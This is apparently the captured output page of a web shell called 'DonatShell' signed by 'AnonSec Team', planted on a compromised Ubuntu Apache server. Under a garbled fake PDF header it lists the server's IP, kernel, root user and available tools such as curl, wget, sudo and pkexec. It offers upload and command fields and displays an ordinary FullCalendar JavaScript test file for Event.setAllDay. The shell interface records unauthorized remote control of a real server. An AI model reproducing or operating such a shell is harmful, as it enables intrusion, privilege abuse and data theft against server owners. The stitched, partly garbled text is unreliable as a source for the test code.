%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/event-data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/event-data/Event.setAllDay.js
describe('Event::setAllDay', function() {

  describe('when setting from all-day to all-day', function() {
    it('causes no change', function() {
      initCalendar({
        events: [
          { id: '1', start: '2018-09-03', end: '2018-09-05', allDay: true }
        ]
      })
      let event = currentCalendar.getEventById('1')
      event.setAllDay(true)
      expect(event.start).toEqualDate('2018-09-03')
      expect(event.end).toEqualDate('2018-09-05')
      expect(event.allDay).toBe(true)
    })
  })

  describe('when setting from timed to timed', function() {
    it('causes no change', function() {
      initCalendar({
        events: [
          { id: '1', start: '2018-09-03T09:00:00', end: '2018-09-05T09:00:00', allDay: false }
        ]
      })
      let event = currentCalendar.getEventById('1')
      event.setAllDay(false)
      expect(event.start).toEqualDate('2018-09-03T09:00:00Z')
      expect(event.end).toEqualDate('2018-09-05T09:00:00Z')
      expect(event.allDay).toBe(false)
    })
  })

  describe('when setting from all-day to timed', function() {

    describe('when not maintaining duration', function() {
      it('removes the end', function() {
        initCalendar({
          events: [
            { id: '1', start: '2018-09-03', end: '2018-09-05', allDay: true }
          ]
        })
        let event = currentCalendar.getEventById('1')
        event.setAllDay(false)
        expect(event.start).toEqualDate('2018-09-03')
        expect(event.end).toBe(null)
        expect(event.allDay).toBe(false)
      })
    })

    describe('when maintaining duration', function() {
      it('keeps exact duration', function() {
        initCalendar({
          events: [
            { id: '1', start: '2018-09-03', end: '2018-09-05', allDay: true }
          ]
        })
        let event = currentCalendar.getEventById('1')
        event.setAllDay(false, { maintainDuration: true })
        expect(event.start).toEqualDate('2018-09-03')
        expect(event.end).toEqualDate('2018-09-05')
        expect(event.allDay).toBe(false)
      })
    })

  })

  describe('when setting from timed to all-day', function() {

    describe('when not maintaining duration', function() {
      it('removes the end', function() {
        initCalendar({
          events: [
            { id: '1', start: '2018-09-03T09:00:00', end: '2018-09-05T09:00:00', allDay: false }
          ]
        })
        let event = currentCalendar.getEventById('1')
        event.setAllDay(true)
        expect(event.start).toEqualDate('2018-09-03')
        expect(event.end).toBe(null)
        expect(event.allDay).toBe(true)
      })
    })

    describe('when maintaining duration', function() {
      it('rounds the end down to the prev whole day', function() {
        initCalendar({
          events: [
            { id: '1', start: '2018-09-03T09:00:00', end: '2018-09-05T10:00:00', allDay: false }
          ]
        })
        let event = currentCalendar.getEventById('1')
        event.setAllDay(true, { maintainDuration: true })
        expect(event.start).toEqualDate('2018-09-03')
        expect(event.end).toEqualDate('2018-09-05')
        expect(event.allDay).toBe(true)
      })
    })

    describe('when maintaining duration (from calendar setting)', function() {
      it('rounds the end to the next whole day', function() {
        initCalendar({
          allDayMaintainDuration: true,
          events: [
            { id: '1', start: '2018-09-03T09:00:00', end: '2018-09-05T10:00:00', allDay: false }
          ]
        })
        let event = currentCalendar.getEventById('1')
        event.setAllDay(true)
        expect(event.start).toEqualDate('2018-09-03')
        expect(event.end).toEqualDate('2018-09-05')
        expect(event.allDay).toBe(true)
      })
    })

  })

})

Anon7 - 2022
AnonSec Team